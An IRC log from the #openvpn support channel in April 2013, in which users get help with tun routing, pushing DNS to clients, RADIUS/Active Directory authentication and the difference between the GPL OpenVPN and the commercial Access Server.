02:59 -!- tgunr [~davec@udp004920uds.hawaiiantel.net] has joined #openvpn
02:59 -!- tharkun [~0@unaffiliated/tharkun] has quit [Read error: Connection reset by peer]
03:05 -!- tharkun [~0@unaffiliated/tharkun] has joined #openvpn
03:06 -!- tgunr [~davec@udp004920uds.hawaiiantel.net] has quit [Quit: Nity nite]
03:10 -!- tharkun [~0@unaffiliated/tharkun] has quit [Read error: Connection reset by peer]
03:15 -!- tharkun [~0@187.188.166.5] has joined #openvpn
03:15 -!- tharkun [~0@187.188.166.5] has quit [Changing host]
03:15 -!- tharkun [~0@unaffiliated/tharkun] has joined #openvpn
03:21 -!- tharkun [~0@unaffiliated/tharkun] has quit [Read error: Connection reset by peer]
03:25 -!- tharkun [~0@187.188.166.5] has joined #openvpn
03:25 -!- tharkun [~0@187.188.166.5] has quit [Changing host]
03:25 -!- tharkun [~0@unaffiliated/tharkun] has joined #openvpn
03:31 -!- javacoder [~javacoder@2.190.36.120] has joined #openvpn
03:39 -!- tharkun [~0@unaffiliated/tharkun] has quit [Read error: Connection reset by peer]
03:41 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
03:45 -!- tharkun [~0@unaffiliated/tharkun] has joined #openvpn
03:58 -!- tharkun [~0@unaffiliated/tharkun] has quit [Read error: Connection reset by peer]
04:04 -!- tharkun [~0@unaffiliated/tharkun] has joined #openvpn
04:05 -!- ptero_ [~ku@37-4-128-169-dynip.superkabel.de] has joined #openvpn
04:05 -!- tgunr [~davec@udp004920uds.hawaiiantel.net] has joined #openvpn
04:12 -!- tharkun [~0@unaffiliated/tharkun] has quit [Read error: Connection reset by peer]
04:17 -!- tharkun [~0@unaffiliated/tharkun] has joined #openvpn
04:29 -!- Xigam is now known as xBytez
04:29 -!- xBytez [~xbytez@we.are.rootgeeks.com] has quit [Changing host]
04:29 -!- xBytez [~xbytez@unaffiliated/magix] has joined #openvpn
04:41 -!- tharkun [~0@unaffiliated/tharkun] has quit [Read error: Connection reset by peer]
04:46 -!- gallatin [~gallatin@dslb-084-061-244-119.pools.arcor-ip.net] has joined #openvpn
04:47 -!- tharkun [~0@187.188.166.5] has joined #openvpn
04:47 -!- tharkun [~0@187.188.166.5] has quit [Changing host]
04:47 -!- tharkun [~0@unaffiliated/tharkun] has joined #openvpn
04:51 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has quit [Ping timeout: 255 seconds]
04:52 -!- cherwin_ is now known as cherwin
04:55 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has joined #openvpn
04:59 -!- tgunr [~davec@udp004920uds.hawaiiantel.net] has quit [Quit: Nity nite]
05:00 -!- tharkun [~0@unaffiliated/tharkun] has quit [Read error: Connection reset by peer]
05:02 -!- s7r [~s7r@openvpn/user/s7r] has left #openvpn []
05:06 -!- tharkun [~0@unaffiliated/tharkun] has joined #openvpn
05:07 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
05:13 -!- gallatin [~gallatin@dslb-084-061-244-119.pools.arcor-ip.net] has quit [Quit: Client exiting]
05:22 -!- tgunr [~davec@udp004920uds.hawaiiantel.net] has joined #openvpn
05:26 -!- dazo_afk is now known as dazo
05:27 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has quit [Remote host closed the connection]
05:34 -!- gffa [~unknown@unaffiliated/gffa] has joined #openvpn
05:35 -!- xtz [xtz@DeathStar.Techn0.eu] has quit [Ping timeout: 248 seconds]
05:36 -!- tharkun [~0@unaffiliated/tharkun] has quit [Read error: Connection reset by peer]
05:42 -!- tharkun [~0@187.188.166.5] has joined #openvpn
05:42 -!- tharkun [~0@187.188.166.5] has quit [Changing host]
05:42 -!- tharkun [~0@unaffiliated/tharkun] has joined #openvpn
05:46 -!- xtz [xtz@DeathStar.Techn0.eu] has joined #openvpn
05:46 -!- xtz is now known as Guest22243
05:50 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has joined #openvpn
05:56 -!- BenLue [~BenLue@178-83-36-152.dynamic.hispeed.ch] has quit []
06:07 -!- tharkun [~0@unaffiliated/tharkun] has quit [Read error: Connection reset by peer]
06:17 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has quit [Ping timeout: 258 seconds]
06:18 -!- tharkun [~0@187.188.166.5] has joined #openvpn
06:18 -!- tharkun [~0@187.188.166.5] has quit [Changing host]
06:18 -!- tharkun [~0@unaffiliated/tharkun] has joined #openvpn
06:20 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has joined #openvpn
06:27 -!- emmanuelux [~emmanuelu@vau92-2-82-228-217-1.fbx.proxad.net] has joined #openvpn
06:34 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has quit [Ping timeout: 276 seconds]
06:35 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has quit [Read error: Connection reset by peer]
06:37 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
06:40 -!- javacoder [~javacoder@2.190.36.120] has quit [Ping timeout: 248 seconds]
06:42 -!- tharkun [~0@unaffiliated/tharkun] has quit [Ping timeout: 252 seconds]
06:44 -!- tharkun [~0@187.188.166.5] has joined #openvpn
06:44 -!- tharkun [~0@187.188.166.5] has quit [Changing host]
06:44 -!- tharkun [~0@unaffiliated/tharkun] has joined #openvpn
06:49 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Quit: Computer has gone to sleep.]
06:50 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has joined #openvpn
06:54 -!- smerz_ [~smerz@a170224.upc-a.chello.nl] has joined #openvpn
07:03 -!- ScriptFanix [vincent@Hanaman.riquer.fr] has quit [Ping timeout: 264 seconds]
07:08 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has quit [Read error: Connection reset by peer]
07:14 -!- speed_racer8 [~speed_rac@173.45.222.89] has joined #openvpn
07:15 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has joined #openvpn
07:18 -!- speed_racer8 [~speed_rac@173.45.222.89] has quit [Ping timeout: 258 seconds]
07:22 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Quit: WeeChat 0.4.0]
07:26 < hg_5> hi
07:26 -!- smerz_ [~smerz@a170224.upc-a.chello.nl] has quit [Read error: Operation timed out]
07:26 < Nothing4You> hi
07:26 < hg_5> how to redirect all ovpn traffic to 1 device on router?
07:27 < hg_5> in tun mode
07:27 < hg_5> i have router it is connected as client and i need to redirect on it all ovpn traffic to just 1 port or 1 device is it possible? (router: tl-wr1043nd, openwrt)
07:34 -!- fordbr [~user@60-241-99-147.static.tpgi.com.au] has quit [Ping timeout: 272 seconds]
07:36 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has quit [Ping timeout: 258 seconds]
07:41 -!- kubbing [~kubbing@ip-89-176-96-114.net.upcbroadband.cz] has joined #openvpn
07:43 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has quit [Remote host closed the connection]
07:44 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
07:49 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
08:04 -!- Devastator- [~devas@177.18.198.75] has quit [Changing host]
08:04 -!- Devastator- [~devas@unaffiliated/devastator] has joined #openvpn
08:04 -!- Devastator- is now known as Devastator
08:05 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has joined #openvpn
08:13 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Quit: WeeChat 0.4.0]
08:14 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has quit [Ping timeout: 258 seconds]
08:19 -!- sickness\ is now known as Sickness\
08:19 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has joined #openvpn
08:23 -!- Sickness\ is now known as sickness\
08:23 -!- tgunr [~davec@udp004920uds.hawaiiantel.net] has quit [Quit: Nity nite]
08:27 -!- RealRancor [~Rancor@mafiaforum.de] has joined #openvpn
08:27 -!- sickness\ is now known as Sickness\
08:34 -!- kubbing [~kubbing@ip-89-176-96-114.net.upcbroadband.cz] has quit [Remote host closed the connection]
08:39 -!- Busch [~Busch@HSI-KBW-149-172-208-115.hsi13.kabel-badenwuerttemberg.de] has joined #openvpn
08:39 < Busch> !welcome
08:39 <@vpnHelper> "welcome" is (#1) Start by stating your goal, such as 'I would like to access the internet over my vpn' || new to IRC? see the link in !ask || we may need !logs and !configs and maybe !interface to help you. || See !howto for beginners. || See !route for lans behind openvpn. || !redirect for sending inet traffic through the server. || Also interesting: !man !/30 !topology !iporder !sample !forum
08:39 <@vpnHelper> !wiki !mitm or (#2) Don't use 192.168.1.0/24 or 192.168.0.0/24 (too much potential for conflict)
08:40 < Busch> !goal
08:40 <@vpnHelper> "goal" is Please clearly state your goal for your vpn: example, I would like to access the lan behind the server , I would like to access the internet over my vpn , I just want a secure connection between 2 computers , etc
08:45 -!- mattock is now known as mattock_afk
08:45 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has quit [Read error: Connection reset by peer]
08:47 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has joined #openvpn
08:56 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has quit [Ping timeout: 264 seconds]
09:00 -!- kubbing [~kubbing@ip-89-176-96-114.net.upcbroadband.cz] has joined #openvpn
09:00 -!- Guest45378 [~jdoe@static-84-242-118-58.net.upcbroadband.cz] has left #openvpn []
09:05 -!- RealRancor [~Rancor@mafiaforum.de] has quit [Ping timeout: 256 seconds]
09:33 -!- Cpt-Oblivious [~cpt-obliv@dhcp-077-250-057-096.chello.nl] has joined #openvpn
09:40 -!- Cpt-Oblivious [~cpt-obliv@dhcp-077-250-057-096.chello.nl] has quit [Ping timeout: 258 seconds]
09:58 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
10:02 -!- JSharpe_ [~JSharpe@81.17.27.234] has quit [Quit: Leaving]
10:11 -!- Skaag [~lunix@114-44-6-1.dynamic.hinet.net] has joined #openvpn
10:12 < Skaag> hey there, I setup an openvpn server on an openvz container. It accesses the /dev/net/tun device just fine, routes are added, ip_forward is 1, etc, and my openvpn client (tunnelblick) successfully connects, but no communications are happening.
10:14 < Skaag> my client log shows this: write UDPv4: No route to host (code=65)
10:17 -!- u0m3 [~Radu@109.96.168.114] has quit [Read error: Connection reset by peer]
10:21 -!- u0m3 [~Radu@92.80.73.41] has joined #openvpn
10:22 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Quit: Computer has gone to sleep.]
10:28 -!- s7r [~s7r@openvpn/user/s7r] has joined #openvpn
10:28 -!- mode/#openvpn [+v s7r] by ChanServ
10:31 <+s7r> !ipv6
10:31 <@vpnHelper> "ipv6" is (#1) http://www.greenie.net/ipv6/openvpn.html for info about the ipv6 patch (adds nice ipv6 options to openvpn) or (#2) use 2.3 or see !snapshots for a release with ipv6 patches in it or (#3) http://ipstats.arvig.net/BraveHeartMEME.jpg
10:34 < jzaw> Skaag, the answer is in the error msg
10:35 < jzaw> check all your routes
10:52 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
10:57 -!- franks2 [~frank@91.229.143.143] has quit [Quit: leaving]
11:00 -!- kubbing [~kubbing@ip-89-176-96-114.net.upcbroadband.cz] has quit [Remote host closed the connection]
11:05 -!- p3rror [~p3rror@41.248.199.134] has joined #openvpn
11:08 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Quit: WeeChat 0.4.0]
11:18 -!- meepmeep [meepmeep@there-is-no.endoftheinternet.org] has quit [Remote host closed the connection]
11:18 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has joined #openvpn
11:19 -!- smerz_ [~smerz@a170224.upc-a.chello.nl] has joined #openvpn
11:25 -!- mchou [~quassel@unaffiliated/mchou] has joined #openvpn
11:27 < hg_5> hi
11:31 < hg_5> plz help me understand how ovpn on tun interface works
11:32 -!- riddle [riddle@us.yunix.net] has joined #openvpn
11:35 -!- p3rror [~p3rror@41.248.199.134] has quit [Ping timeout: 264 seconds]
11:42 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
11:43 -!- speed_racer8 [~speed_rac@173.45.222.89] has joined #openvpn
11:44 -!- meepmeep [~meepmeep@there-is-no.endoftheinternet.org] has joined #openvpn
11:44 <+s7r> hg_5: you want to google that :)
11:44 <+s7r> for better understanding
11:45 < hg_5> can you provide me some links
11:45 -!- meepmeep [~meepmeep@there-is-no.endoftheinternet.org] has quit [Client Quit]
11:47 < jzaw> hg_5 yeah
11:47 < jzaw> http://google.com
11:47 <@vpnHelper> Title: Google (at google.com)
11:48 -!- vraa__ [~speed_rac@173.45.222.89] has joined #openvpn
11:51 -!- disaster38 [~ident@lns-c10k03-v-62-35-223-179.dsl.sta.abo.bbox.fr] has quit [Quit: —I-n-v-i-s-i-o-n— 3.3 (November '11)]
11:51 -!- ajolo__ [~ariel@190.183.222.194] has quit [Remote host closed the connection]
11:52 -!- speed_racer8 [~speed_rac@173.45.222.89] has quit [Ping timeout: 256 seconds]
11:55 -!- meepmeep [~meepmeep@there-is-no.endoftheinternet.org] has joined #openvpn
11:56 -!- ajolo__ [~ariel@190.183.222.194] has joined #openvpn
11:58 -!- kubbing [~kubbing@ip-78-102-124-95.net.upcbroadband.cz] has joined #openvpn
11:59 <@krzee> !krzee
11:59 <@vpnHelper> "krzee" is (#1) krzee says happy 4/20 or (#2) http://www.ircpimps.org/pics/krzee/blunt.jpg or (#3) location: moon base where he smokes moonajuana
11:59 <@krzee> happy 4/20 guys
12:03 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Quit: WeeChat 0.4.0]
12:04 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
12:15 -!- vraa__ [~speed_rac@173.45.222.89] has quit [Ping timeout: 248 seconds]
12:21 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has quit [Read error: Connection reset by peer]
12:31 -!- kubbing_ [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has joined #openvpn
12:34 -!- kubbing [~kubbing@ip-78-102-124-95.net.upcbroadband.cz] has quit [Ping timeout: 256 seconds]
12:34 -!- javacoder [~javacoder@2.190.41.236] has joined #openvpn
12:37 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has joined #openvpn
12:41 -!- FatDarrel [~anandab@208-90-214-248.PUBLIC.monkeybrains.net] has joined #openvpn
12:48 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Ping timeout: 246 seconds]
12:53 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
12:56 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has quit [Ping timeout: 264 seconds]
13:10 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has joined #openvpn
13:12 -!- FatDarrel [~anandab@208-90-214-248.PUBLIC.monkeybrains.net] has quit [Quit: FatDarrel]
13:23 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has quit [Read error: Connection reset by peer]
13:41 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has joined #openvpn
13:44 -!- combsbj [~Brandon@74-136-165-178.dhcp.insightbb.com] has joined #openvpn
13:44 -!- javacoder [~javacoder@2.190.41.236] has quit [Ping timeout: 258 seconds]
13:57 -!- combsbj [~Brandon@74-136-165-178.dhcp.insightbb.com] has quit [Ping timeout: 256 seconds]
13:58 -!- combsbj [~Brandon@74-136-77-68.dhcp.insightbb.com] has joined #openvpn
14:00 <@krzee> !ping
14:00 <@vpnHelper> pong
14:02 <@EugeneKay> !beer
14:02 <@vpnHelper> "beer" is what's for dinner (and occasionally breakfast)
14:05 -!- combsbj [~Brandon@74-136-77-68.dhcp.insightbb.com] has quit [Ping timeout: 240 seconds]
14:07 -!- tgunr [~davec@udp004920uds.hawaiiantel.net] has joined #openvpn
14:08 -!- javacoder [~javacoder@2.190.34.250] has joined #openvpn
14:23 -!- FatDarrel [~anandab@208-90-214-248.PUBLIC.monkeybrains.net] has joined #openvpn
14:38 -!- hg_5_ [~chatzilla@91.234.245.245] has joined #openvpn
14:40 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has quit [Ping timeout: 252 seconds]
14:45 -!- hg_5_ [~chatzilla@91.234.245.245] has quit [Ping timeout: 245 seconds]
14:45 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has joined #openvpn
14:51 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has quit [Ping timeout: 245 seconds]
14:51 -!- hg_5_ [~chatzilla@91.234.245.245] has joined #openvpn
14:56 -!- joshie [~josh@joshie.net] has quit [Remote host closed the connection]
14:56 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has joined #openvpn
14:57 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Ping timeout: 256 seconds]
14:59 -!- hg_5_ [~chatzilla@91.234.245.245] has quit [Ping timeout: 264 seconds]
15:01 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
15:01 -!- hg_5_ [~chatzilla@ip-78-30-107-195.free.aero2.net.pl] has joined #openvpn
15:02 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has quit [Ping timeout: 245 seconds]
15:03 -!- LEDfan [~quassel@94-226-126-193.access.telenet.be] has quit [Remote host closed the connection]
15:06 -!- joshie [~josh@joshie.net] has joined #openvpn
15:06 -!- hg_5_ [~chatzilla@ip-78-30-107-195.free.aero2.net.pl] has quit [Ping timeout: 264 seconds]
15:14 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has joined #openvpn
15:17 -!- FatDarrel [~anandab@208-90-214-248.PUBLIC.monkeybrains.net] has quit [Quit: FatDarrel]
15:28 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has quit [Ping timeout: 256 seconds]
16:02 -!- combsbj [~Brandon@74-136-77-68.dhcp.insightbb.com] has joined #openvpn
16:17 -!- ptero_ [~ku@37-4-128-169-dynip.superkabel.de] has quit [Ping timeout: 276 seconds]
16:54 -!- speed_racer8 [~speed_rac@173.45.222.89] has joined #openvpn
17:03 -!- combsbj [~Brandon@74-136-77-68.dhcp.insightbb.com] has quit [Ping timeout: 264 seconds]
17:37 -!- dazo is now known as dazo_afk
17:42 -!- u0m3 [~Radu@92.80.73.41] has quit [Read error: Connection reset by peer]
17:57 -!- tgunr [~davec@udp004920uds.hawaiiantel.net] has quit [Quit: Nity nite]
18:13 -!- fordbr [~user@60-241-99-147.static.tpgi.com.au] has joined #openvpn
18:14 -!- hjohnson [~hans@d99-199-161-6.bchsia.telus.net] has joined #openvpn
18:15 < hjohnson> hey folks, I'm in the process of setting up OpenVPN with network authentication... I have a RADIUS server going (for our wireless gear) or can directly authenticate against Active Directory (RADIUS is windows NPS). Any thoughts on the better way to go?
18:36 -!- p3rror [~p3rror@41.249.28.83] has joined #openvpn
18:48 -!- p3rror [~p3rror@41.249.28.83] has quit [Quit: Leaving]
18:49 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Ping timeout: 256 seconds]
18:56 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
18:56 -!- gffa [~unknown@unaffiliated/gffa] has quit [Quit: sleep]
19:10 -!- speed_racer8 [~speed_rac@173.45.222.89] has quit [Ping timeout: 258 seconds]
19:19 < Skaag> jzaw: I thought tunnelblick would create the routes for me automatically
19:35 -!- javacoder [~javacoder@2.190.34.250] has quit [Read error: Connection reset by peer]
19:35 < pekster> hjohnson: I've used RADIUS clients nicely in AD environments with the supplicant on the VPN server itself. It works well, and the 'Remote Access' junk in AD can be configured as flexiblly as you'd like. I tend to prefer security groups for VPN access to make administration easy, but you could use the 'dial-in' box in AD too
19:36 < pekster> Securing the backend channel is a pain (since you need the root domain cert from AD to do that) but it's not really a problem if you have a protected backend VLAN for management purposes
20:21 -!- combsbj [~Brandon@74-136-77-68.dhcp.insightbb.com] has joined #openvpn
20:24 -!- tgunr [~davec@udp004920uds.hawaiiantel.net] has joined #openvpn
20:34 -!- combsbj_ [~Brandon@74-136-77-68.dhcp.insightbb.com] has joined #openvpn
20:37 -!- combsbj [~Brandon@74-136-77-68.dhcp.insightbb.com] has quit [Ping timeout: 255 seconds]
21:03 -!- combsbj_ is now known as combsbj
21:12 -!- Sickness\ is now known as sickness\
21:13 -!- emmanuelux [~emmanuelu@vau92-2-82-228-217-1.fbx.proxad.net] has quit [Quit: emmanuelux]
21:25 -!- tgunr [~davec@udp004920uds.hawaiiantel.net] has quit [Quit: Nity nite]
21:32 -!- tgunr [~davec@udp004920uds.hawaiiantel.net] has joined #openvpn
22:13 -!- Drone4four [~gnull@CPE78cd8e66c1f0-CM78cd8e66c1ed.cpe.net.cable.rogers.com] has joined #openvpn
22:22 -!- master_of_master [~master_of@p4FF24AD0.dip0.t-ipconnect.de] has joined #openvpn
22:25 -!- kubbing_ [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has quit [Remote host closed the connection]
22:25 -!- master_o1_master [~master_of@p4FF2495B.dip0.t-ipconnect.de] has quit [Ping timeout: 264 seconds]
22:26 -!- tgunr [~davec@udp004920uds.hawaiiantel.net] has quit [Quit: Nity nite]
23:16 -!- javacoder [~javacoder@2.190.41.190] has joined #openvpn
23:45 -!- MF2 [~MF2@68-116-167-46.dhcp.oxfr.ma.charter.com] has joined #openvpn
23:46 < MF2> I have a question that's been asked a million times and it's still not processing in my thick skull: I need to route broadcasts over TUN between lan and vpn
23:46 < MF2> What I know, I need to create a static route, and I need to create a firewall policy
23:46 < Poster> I don't think by nature you can route broadcasts
23:46 < MF2> What I don't know, the specifics of said route and policy
23:46 < Poster> you'll probably need to do ethernet bridging in that instance
23:47 < MF2> I can't bridge
23:47 < MF2> ios has no calls for it
23:48 < MF2> I'm fairly certain it can be done by routing through the vpn server
23:49 < pekster> Broadcasts? Broadcasts are by definition not routed (they're broadcast)
23:50 < MF2> How do we forward dns requests then?
23:50 < pekster> DNS is sent inside UDP, which is OSI L4
23:50 < Poster> they're routed
23:50 < pekster> tun is L3
23:50 < pekster> broadcasts are L2
23:50 < pekster> So broadcasts have nothing to do with DNS. At all.
23:50 < MF2> I thought DNS was a broadcast
23:50 < pekster> Nope
23:51 < MF2> Looks like I'll be failing that net+
23:51 < MF2> Let me explain further, maybe I'm crazy but I thought it was possible
23:52 < MF2> subnet *.*.150.0 = lan, *.*.151.0 vpn
23:52 < MF2> I can access resources by IP
23:53 < pekster> !tunortap
23:53 <@vpnHelper> "tunortap" is (#1) you ONLY want tap if you need to pass layer2 traffic over the vpn (traffic destined for a MAC address). If you are using IP traffic you want tun. Dont waste the extra overhead. or (#2) and if your reason for wanting tap is windows shares, see !wins or (#3) also remember that if someone gets access to any side of a tap vpn they can use layer2 attacks like arp poisoning against you
23:53 <@vpnHelper> over the vpn or (#4) lan gaming? use tap! or (#5) Normal Android/iOS devices (not rooted/jailbroken) support only tun.
23:53 < MF2> However I can't resolve hostnames, any service that is on the network cannot be discovered, and I cannot gather MAC addresses
23:53 < pekster> Don't use tap unless you actually require *Ethernet* transport. IP transport is provided by tun
23:53 < pekster> Fix your DNS then
23:53 < Poster> the name resolution is easy, you just push the DNS servers on *.*.150.0 to your VPN clients
23:53 < Poster> and by nature of being routed, you will not see mac addresses
23:53 < MF2> because arp is a broadcast?
23:54 < Poster> arp is layer 2
23:54 < pekster> ARP is a bridge between L2/L3 layers. It's not used in a routed (tun) setup
23:54 < MF2> I understand that
23:55 < MF2> I do have it set to push vpn
23:55 < MF2> *dns to vpn
23:55 < pekster> !pushdns
23:55 <@vpnHelper> "pushdns" is (#1) push "dhcp-option DNS a.b.c.d" to push dns to the client or (#2) http://thread.gmane.org/gmane.network.openvpn.user/25139/focus=25147 see that mail archive for some info on pushing dns or (#3) http://article.gmane.org/gmane.network.openvpn.user/25149 for a perm fix via regedit or (#4) in unix you'll use the update-resolv-conf script or (#5) also
23:55 <@vpnHelper> http://comments.gmane.org/gmane.network.openvpn.user/31975 reports --register-dns as fixing their problems pushing DNS to windows 7
23:55 < MF2> It's setup in the admin panel
23:55 < pekster> OpenVPN has no admin panel
23:56 < MF2> It's the appliance
23:56 < pekster> Maybe you're talking about the commercial "Access Server" product, in which case you should have read the /TOPIC when you entered more carefully
23:56 < pekster> !as
23:56 <@vpnHelper> "as" is please go to #OpenVPN-AS for help with Access-Server
23:56 < pekster> This channel is for the GPL open-source openvpn product, not any commercial frontend or such
23:57 < MF2> I did not know that there was a deviation
23:57 < MF2> My apologies
23:57 < pekster> It's a bad naming scheme, I can understand that. Happens a lot
23:59 < MF2> I just checked, for the record, my new bind server is working. It's just the network scanner on ios that wasn't resolving hostnames
23:59 < MF2> Well I learned a few things anyway. So I appreciate that.
23:59 < pekster> AS is really just a pretty wrapper around openvpn anyway, just with the drawbacks that it costs and it's open-source
--- Day changed Sun Apr 21 2013
00:00 < pekster> So, it's mostly the same until you need to actual see what it's doing, heh
00:00 < pekster> actually*
00:00 < pekster> and it's not* (clearly I'm up too late)
00:00 < MF2> Hm, maybe I'll redeploy then
00:00 < pekster> Your call, all depends on what you want
00:01 < pekster> If you want a commercial package with support built-in, maybe a commercial solution is right. On the other hand, if you want flexibility and access to the source code, there's no beating GPL, BSD, or MIT licenses
00:01 < MF2> I just googled openvpn and saw a nice appliance, figured it'd be easy for the vm server than manually deploying as I've done the 8 billion other nix service vms
00:02 < MF2> I didn't put 2 and 2 together, doh
00:02 < Poster> math is hard
00:02 < MF2> Well I won't bother you guys anymore, I appreciate your time anyway
00:03 < MF2> I don't math well, otherwise I'd be a programmer or in finance
00:03 < MF2> Instead I'm an IT monkey
00:03 < pekster> If you play with the GPL product, feel free to stop back. The official howto is a good guide if you want to learn more about openvpn itself:
00:03 < pekster> !howto
00:03 <@vpnHelper> "howto" is (#1) OpenVPN comes with a great howto, http://openvpn.net/howto PLEASE READ IT! or (#2) http://www.secure-computing.net/openvpn/howto.php for a mirror
00:03 < MF2> Alright thanks guys, good night
00:04 -!- MF2 [~MF2@68-116-167-46.dhcp.oxfr.ma.charter.com] has quit []
00:06 -!- combsbj_ [~Brandon@74-136-77-68.dhcp.insightbb.com] has joined #openvpn
00:09 -!- combsbj [~Brandon@74-136-77-68.dhcp.insightbb.com] has quit [Ping timeout: 240 seconds]
00:09 -!- combsbj [~Brandon@74-136-77-68.dhcp.insightbb.com] has joined #openvpn
00:11 -!- combsbj_ [~Brandon@74-136-77-68.dhcp.insightbb.com] has quit [Ping timeout: 264 seconds]
00:39 -!- tharkun [~0@unaffiliated/tharkun] has quit [Read error: Connection reset by peer]
00:39 -!- tharkun [~0@unaffiliated/tharkun] has joined #openvpn
00:39 -!- speed_racer8 [~speed_rac@173.45.222.89] has joined #openvpn
00:43 < combsbj> If I'm using local authentication on AS and I create a new user from the GUI, is there somewhere in the GUI to set the password, or do I have to go to console or ssh to do it?
00:44 < combsbj> or well it looks like just adding the user in GUI doesn't create a local account anyway...
00:44 < pekster> !as
00:44 <@vpnHelper> "as" is please go to #OpenVPN-AS for help with Access-Server
00:45 < pekster> Sure would be nice if this was in the /TOPIC or something...
00:45 < combsbj> heh, sry
00:46 < combsbj> who reads topics? :)
00:46 < pekster> Don't take it too personally; 2nd person in as many hours, so my replies get more pointed as time goes on
00:46 < combsbj> oh, I didn't :)
00:47 < pekster> 3rd person is gunna get it though ;)
00:47 < combsbj> lol
00:49 < combsbj> my original plan was to just use openvpn on a 300mhz mips router, but once I realized how limiting the CPU was, I decided that router would just be for maintenance access and run AS on vmware...best of both worlds I guess..speed when things are good, reliable access when they aren't :)
00:49 < pekster> Don't need AS to run openvpn. If your needs include commercial support though, that's different
00:50 < combsbj> well, yea I could just run plain old openvpn, but the AS is already built appliance, and I'm the only user, so why not use the two free licenses?
00:51 < pekster> If it works for you. Lack of source code is a deal breaker for me, but when things break I like to be able to fire up gdb and figure out why and fix it
00:51 < combsbj> ah
00:52 < pekster> I'm not quite as crazy as RMS is, but think along those lines
00:53 < Aketzu> one interesting thing in paid version would be LDAP (Active Directory) auth... just never had enough time to hack some scripts to do checking & automated cert generation
00:53 < pekster> Especially security products; it's been long-understood in the security industry that tools should be open-source to ensure correctness of the code
00:53 < pekster> I've done LDAP integration before. It's not hard if you understand the tools involved and how to integrate them; some shell scripting skills don't hurt
00:53 < combsbj> i fly out tomorrow for 3 weeks straight, and need solid access to my home vmware farm, *fingers crossed*
00:54 < combsbj> well can't PAM connect openvpn to AD via the OS?
00:54 < pekster> RADIUS is pretty convenient due to the abundance of cross-platform supplicants and decent AD flexibility to control it
00:55 < pekster> Your next-best bet if RADIUS won't work would be Kerberos
00:55 < pekster> But honestly, RADIUS is pretty simple to get set up
00:55 < Aketzu> yeah
00:56 < Aketzu> already have it for WLAN (WPA2-EAP-PEAP-MSCHAPv2)
00:56 < Aketzu> and some web pages do LDAP auth
00:56 < pekster> No clue why people still use MSCHAPv2
00:56 < Aketzu> so just requires doing it (and telling users to use something else)
00:57 < Martin`> MSCRAP?
00:57 < pekster> Especially since it was basically broken completely open by Moxie et. al. a year ago
00:57 < Aketzu> hmm... windows does autoprovision certs to clients so it might be trivial to change to some tls auth
00:58 < Aketzu> there is funny problem with new new machine which doesn't have any ethernet ports... in order to get to domain you need to access the wlan which basically requires machine to be in the domain :)
